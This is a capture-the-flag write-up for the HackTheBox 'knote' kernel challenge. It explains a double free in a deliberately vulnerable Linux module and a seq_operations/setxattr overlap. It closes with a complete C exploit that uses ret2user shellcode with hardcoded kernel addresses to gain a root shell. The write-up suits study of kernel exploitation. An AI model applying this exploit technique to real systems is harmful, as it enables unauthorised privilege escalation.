knote
knote is a medium pwn challenge that consists on a very straight forward linux kernel double free without SMAP, SMEP, KPTI or kASLR.

Disclaimer

I only solved locally since the challenge got retired just after it was released and I stopped paying for VIP since I was barely using it. If you solved that challenge remotely and anything from this article works differently in the remote instance please let me know.

Files

CTFs/htb/challenges/knote at main · 0xTen/CTFs
GitHub

The module

[...]
static long knote_ioctl(struct file *file, unsigned int cmd, unsigned long arg) {
mutex_lock(&knote_ioctl_lock);
struct knote_user ku;
if(copy_from_user(&ku, (void *)arg, sizeof(struct knote_user)))
return -EFAULT;
switch(cmd) {
case KNOTE_CREATE:
if(ku.len > 0x20 || ku.idx >= 10)
return -EINVAL;
char *data = kmalloc(ku.len, GFP_KERNEL);
knotes[ku.idx] = kmalloc(sizeof(struct knote), GFP_KERNEL);
if(data == NULL || knotes[ku.idx] == NULL) {
mutex_unlock(&knote_ioctl_lock);
return -ENOMEM;
}
knotes[ku.idx]->data = data;
knotes[ku.idx]->len = ku.len;
if(copy_from_user(knotes[ku.idx]->data, ku.data, ku.len)) {
kfree(knotes[ku.idx]->data);
kfree(knotes[ku.idx]);
mutex_unlock(&knote_ioctl_lock);
return -EFAULT;
}
knotes[ku.idx]->encrypt_func = knote_encrypt;
knotes[ku.idx]->decrypt_func = knote_decrypt;
break;
case KNOTE_DELETE:
if(ku.idx >= 10 || !knotes[ku.idx]) {
mutex_unlock(&knote_ioctl_lock);
return -EINVAL;
}
kfree(knotes[ku.idx]->data);
kfree(knotes[ku.idx]);
knotes[ku.idx] = NULL;
break;
case KNOTE_READ:
if(ku.idx >= 10 || !knotes[ku.idx] || ku.len > knotes[ku.idx]->len) {
mutex_unlock(&knote_ioctl_lock);
return -EINVAL;
}
if(copy_to_user(ku.data, knotes[ku.idx]->data, ku.len)) {
mutex_unlock(&knote_ioctl_lock);
return -EFAULT;
}
break;
case KNOTE_ENCRYPT:
if(ku.idx >= 10 || !knotes[ku.idx]) {
mutex_unlock(&knote_ioctl_lock);
return -EINVAL;
}
knotes[ku.idx]->encrypt_func(knotes[ku.idx]->data, knotes[ku.idx]->len);
break;
case KNOTE_DECRYPT:
if(ku.idx >= 10 || !knotes[ku.idx]) {
mutex_unlock(&knote_ioctl_lock);
return -EINVAL;
}
knotes[ku.idx]->decrypt_func(knotes[ku.idx]->data, knotes[ku.idx]->len);
break;
default:
mutex_unlock(&knote_ioctl_lock);
return -EINVAL;
}
mutex_unlock(&knote_ioctl_lock);
return 0;
}
[...]
The module works in a really simple way. Userland is allowed to allocate up to 10 notes of up to 0x20 bytes. The module implements reading and deleting the chunks but it's impossible to write to them.

Double free

There is a pretty bad bug in the following code:
[...]
knotes[ku.idx] = kmalloc(sizeof(struct knote), GFP_KERNEL);
[...]
if(copy_from_user(knotes[ku.idx]->data, ku.data, ku.len)) {
kfree(knotes[ku.idx]->data);
kfree(knotes[ku.idx]);
The KNOTE_CREATE ioctl command first kmallocs a chunk for the requested note, then it tries to copy data from the userland pointer provided in the request structure.
If copying this data fails, then the note just allocated is kfreed, this can easily be triggered by providing a bad pointer like 0x1337000.
The only problem with that code is that the pointer returned by kmalloc is still accessible via the knotes array, even after the chunk being freed.
We aren't able to write to the free chunk since this isn't implemented but we can free the chunk again and create a self referenced free chunk and cause our next two allocations to overlap, which can be very easily leveraged using some kernel structures.

No kASLR

Although the qemu-cmd script that starts the emulator enables kaslr, for some reason it is just not working and addresses are not being randomized.
#!/bin/bash
timeout --foreground 35 qemu-system-x86_64 \
-m 128M \
-nographic \
-kernel /home/ctf/bzImage \
-append 'console=ttyS0 loglevel=3 oops=panic panic=1 kaslr' \
-monitor /dev/null \
-initrd /home/ctf/rootfs.img \
-no-kvm \
-cpu qemu64 \
-smp cores=2

seq_operations + setxattr

The 0x20 slab is probably one of the easiest to leverage code execution from overlapping structures.
We can overlap the seq_operations structure allocated when calling open("/proc/self/stat",O_RDONLY); with a setxattr allocated chunk that writes arbitrary data.
seq_operations:
struct seq_operations {
void * (*start) (struct seq_file *m, loff_t *pos);
void (*stop) (struct seq_file *m, void *v);
void * (*next) (struct seq_file *m, void *v, loff_t *pos);
int (*show) (struct seq_file *m, void *v);
};
setxattr:
setxattr(struct dentry *d, const char __user *name, const void __user *value,
size_t size, int flags)
{
int error;
void *kvalue = NULL;
char kname[XATTR_NAME_MAX + 1];
if (flags & ~(XATTR_CREATE|XATTR_REPLACE))
return -EINVAL;
error = strncpy_from_user(kname, name, sizeof(kname));
if (error == 0 || error == sizeof(kname))
error = -ERANGE;
if (error < 0)
return error;
if (size) {
if (size > XATTR_SIZE_MAX)
return -E2BIG;
kvalue = kmalloc(size, GFP_KERNEL | __GFP_NOWARN);
if (!kvalue) {
kvalue = vmalloc(size);
if (!kvalue)
return -ENOMEM;
}
if (copy_from_user(kvalue, value, size)) {
error = -EFAULT;
goto out;
}
if ((strcmp(kname, XATTR_NAME_POSIX_ACL_ACCESS) == 0) ||
(strcmp(kname, XATTR_NAME_POSIX_ACL_DEFAULT) == 0))
posix_acl_fix_xattr_from_user(kvalue, size);
}
error = vfs_setxattr(d, kname, kvalue, size, flags);
out:
kvfree(kvalue);
return error;
}
As we can see, the seq_operations structure contains a few function pointers, being the first qword a fuction pointer that is called whenever we call read against the file descriptor returned from open when we allocated it. In the other hand, setxattr receives a userland provided pointer called value that will be written to a newly allocated chunk.
Since those two allocations will overlap due to the double free, we can pretty easily control rip from here.

Final Exploit

Since there is no SMEP, SMAP or KPTI, a simple ret2user attack should do the trick.
#include <fcntl.h>
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <sys/xattr.h>
#define KNOTE_CREATE 0x1337
#define KNOTE_DELETE 0x1338
#define KNOTE_READ 0x1339
#define KNOTE_ENCRYPT 0x133a
#define KNOTE_DECRYPT 0x133b
int dev, target;
/* Module structs */
typedef struct {
char *data;
size_t len;
void (*encrypt_func)(char *, size_t);
void (*decrypt_func)(char *, size_t);
} knote;
typedef struct {
unsigned long idx;
char * data;
size_t len;
} knote_user;
/* Backup registers */
unsigned long bak_cs,bak_rflags,bak_ss,bak_rsp,bak_rip;
void bak(){
__asm__(
".intel_syntax noprefix;"
"mov bak_cs, cs;"
"mov bak_ss, ss;"
"mov bak_rsp, rsp;"
"pushf;"
"pop bak_rflags;"
".att_syntax;"
);
puts("[+]Registers backed up");
}
/* Helper functions */
void debug(){
puts("[+]Halted execution");
getchar();
}
void open_dev(){
dev = open("/dev/knote",O_RDONLY);
puts("[+]Interacting with device");
}
void do_create(unsigned long idx, char *data, size_t len){
knote_user note = {
.idx = idx,
.data = data,
.len = len
};
ioctl(dev,KNOTE_CREATE,&note);
}
void do_delete(unsigned long idx){
knote_user note = {
.idx = idx
};
ioctl(dev,KNOTE_DELETE,&note);
}
void bin_sh(){
printf("[+]UID: %d\n",getuid());
close(target);
system("/bin/sh");
}
unsigned long bak_rip = (unsigned long)bin_sh;
void shellcode(){
__asm__(
".intel_syntax noprefix;"
"mov rdi, 0;"
"movabs rbx, 0xffffffff81053c50;"
"call rbx;"
"mov rdi, rax;"
"movabs rbx, 0xffffffff81053a30;"
"call rbx;"
"swapgs;"
"mov r15, bak_ss;"
"push r15;"
"mov r15, bak_rsp;"
"push r15;"
"mov r15, bak_rflags;"
"push r15;"
"mov r15, bak_cs;"
"push r15;"
"mov r15, bak_rip;"
"push r15;"
"iretq;"
".att_syntax;"
);
}
/* Exploit */
int main(){
char payload[0x20];
void *func_ptr = &shellcode;
bak();
open_dev();
/* Double free */
do_create(0, (char *)0x1337000, 0x20);
do_delete(0);
/* Allocate seq_operations */
target = open("/proc/self/stat", O_RDONLY);
/* Consume free entry */
open("/proc/self/stat", O_RDONLY);
/* Overlap w/ setxattr */
setxattr("/proc/self/stat","exploit", &func_ptr, 0x20, 0);
read(target, payload, 1);
return 0;
}